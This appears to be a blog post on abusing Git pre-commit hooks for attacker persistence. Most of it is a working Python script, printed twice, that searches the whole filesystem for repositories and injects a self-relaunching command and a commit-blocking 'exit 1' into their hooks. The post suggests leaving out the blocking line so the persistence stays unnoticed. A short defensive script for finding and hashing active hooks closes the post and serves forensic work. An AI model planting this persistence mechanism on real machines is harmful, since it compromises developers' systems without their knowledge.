What are Git hooks
Simply put, these are scripts that get run at different points in the versioning work-flow. To be clear, this is not the same as the recently reported abuses of git sub-modules. No, this is a feature. And like some many great features it doesn't get the attention it deserves. I blame the ease of CI platforms and the pressure to always try to develop faster more efficient work flows.In general Git hooks come in two flavors, client-side and server-side. You can further subdivide these groups into pre-action and post-action variants.
let me give an example:
- Bob makes a change scripty.py
- Bob likes his change so he runs git commit -m "blah" scripty.py (client-side)
- Git looks to see if a file named .git/hooks/pre-commit exists (called the pre-commit hook).
- If so, and it is executable, Git will execute it as a shell script with no arguments.
- If it returns with a 0 or is not found Git goes ahead with the commit.
- After the entire commit process is completed, the post-commit hook runs.
Finding targets
As an attacker, you can take advantage of the pre-commit hook to inject your own commands to be run anytime a given repository is committed locally. First, you need to locate some repositories on the client machine. This is easily done by recursively checking directories from the root and noting any that contain a .git directory. Whenever a Git repository is initialized, the .git directory, and all of it's sub-directories are created. One of these sub-directories is the hooks directory, which is filled with sample hook scripts. This is the list of potential targets. renaming any of these files without the .sample extension and making it executable, will cause them to fire off at the appropriate event. You may also want to take note of any existing hooks in play. It would be bad (or at least quickly noticed) if you copied the pre-commit.sample over an already active pre-commit hook.Having some fun
Okay so you have located a Git repository on the local machine that looks good, now what? Well, with a little creative thinking you can run anything you could run from the command line. The hook script is just a shell script, so it runs top down. I suggest injecting your command(s) near the top, so they run before any other code. For my example, I crafted a script which locates or creates a pre-commit hook for every repository it has access to.![]() |
Python code to create the injected string |
The command it injects is to run itself again and then exit the commit with a 1, meaning the commit is halted and not allowed through.
![]() |
Running the script to hook a single repo's pre-commit hook |
Since this runs before any other code, it effectively locks this repo from commits. This is a fun prank to pull against some developer friends, but is pretty loud and noticeable. In practice you would probably only want to have the persistence command, and leave off the repo locking.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*-
import os
import subprocess
def hook_git(once=True, hookonlysamples=None, onlyhook="pre-commit"):
print("Collecting Repos")
to_me = os.path.abspath(__file__)
insert_string = "/usr/bin/python3 %s &\nexit 1" % to_me
repos = []
for root, dirs, files in os.walk("/"):
#print(root)
if ".git" in dirs:
#print(("%s/.git/ found" % root))
loc = os.path.join(root, ".git", "hooks")
repos.append(loc)
print("Found %d repos" % len(repos))
print("installing git hooks")
hooked = []
for hook_dir in repos:
if len(hooked) > 0 and once:
break
for root, dirs, files in os.walk(hook_dir):
active = [n for n in files if ".sample" not in n]
for f in files:
if f in active and hookonlysamples:
continue
if onlyhook is not None and onlyhook not in f:
continue
fp = os.path.join(root, f)
f = f.replace(".sample", "")
new_name = fp.replace(".sample", "")
with open(fp, "r") as fi:
ftext = fi.read()
out = []
injected = False
# Go through the file and find the first non-comment line and
# insert the payload there, pushing everything else down
lines = ftext.split("\n")
for l in lines:
if (len(l) == 0 or l[0] != "#") and not injected:
out += [insert_string, "", l]
injected = True
else:
out.append(l)
new_hook = "\n".join(out)
try:
with open(new_name, "w+") as fo:
fo.write(new_hook)
subprocess.run(["chmod","+x", new_name])
hooked.append(f)
print("hooking %s" % new_name)
except Exception as e:
if e.errno == 13:
continue
else:
print(e)
if not hooked:
print("Failed to insert hook")
hook_git()
Artifacts
The reason I bring this up is, I see the checks for Git Hooks missing from a lot (most) security artifact checklists. Furthermore these wouldn't show up as odd commands in the bash history since git commit inside a work repo is expected on developer machines. For these reasons, I have cobbled together a script which will find and list all non-sample files in any Git-hook repos on the local machine.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import subprocess | |
def hook_git(once=True, hookonlysamples=None, onlyhook="pre-commit"): | |
print("Collecting Repos") | |
to_me = os.path.abspath(__file__) | |
insert_string = "/usr/bin/python3 %s &\nexit 1" % to_me | |
repos = [] | |
for root, dirs, files in os.walk("/"): | |
#print(root) | |
if ".git" in dirs: | |
#print(("%s/.git/ found" % root)) | |
loc = os.path.join(root, ".git", "hooks") | |
repos.append(loc) | |
print("Found %d repos" % len(repos)) | |
print("installing git hooks") | |
hooked = [] | |
for hook_dir in repos: | |
if len(hooked) > 0 and once: | |
break | |
for root, dirs, files in os.walk(hook_dir): | |
active = [n for n in files if ".sample" not in n] | |
for f in files: | |
if f in active and hookonlysamples: | |
continue | |
if onlyhook is not None and onlyhook not in f: | |
continue | |
fp = os.path.join(root, f) | |
f = f.replace(".sample", "") | |
new_name = fp.replace(".sample", "") | |
with open(fp, "r") as fi: | |
ftext = fi.read() | |
out = [] | |
injected = False | |
# Go through the file and find the first non-comment line and | |
# insert the payload there, pushing everything else down | |
lines = ftext.split("\n") | |
for l in lines: | |
if (len(l) == 0 or l[0] != "#") and not injected: | |
out += [insert_string, "", l] | |
injected = True | |
else: | |
out.append(l) | |
new_hook = "\n".join(out) | |
try: | |
with open(new_name, "w+") as fo: | |
fo.write(new_hook) | |
subprocess.run(["chmod","+x", new_name]) | |
hooked.append(f) | |
print("hooking %s" % new_name) | |
except Exception as e: | |
if e.errno == 13: | |
continue | |
else: | |
print(e) | |
if not hooked: | |
print("Failed to insert hook") | |
hook_git() |
![]() |
Finding all active hook files |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import hashlib | |
import json | |
def sha256sum(filename): | |
h = hashlib.sha256() | |
b = bytearray(128*1024) | |
mv = memoryview(b) | |
with open(filename, 'rb', buffering=0) as f: | |
for n in iter(lambda : f.readinto(mv), 0): | |
h.update(mv[:n]) | |
return h.hexdigest() | |
print("Collecting Repos") | |
repos = [] | |
hook_hashes = {} | |
for root, dirs, files in os.walk("/"): | |
#print(root) | |
if ".git" in dirs: | |
#print(("%s/.git/ found" % root)) | |
loc = os.path.join(root, ".git", "hooks") | |
repos.append(loc) | |
print("Found %d repos" % len(repos)) | |
print("checking git hooks") | |
for hook_dir in repos: | |
for root, dirs, files in os.walk(hook_dir): | |
for f in files: | |
if ".sample" in f: | |
continue | |
fp = os.path.join(root, f) | |
fh = sha256sum(fp) | |
print(fp) | |
print(fh) | |
print("") |
No comments:
Post a Comment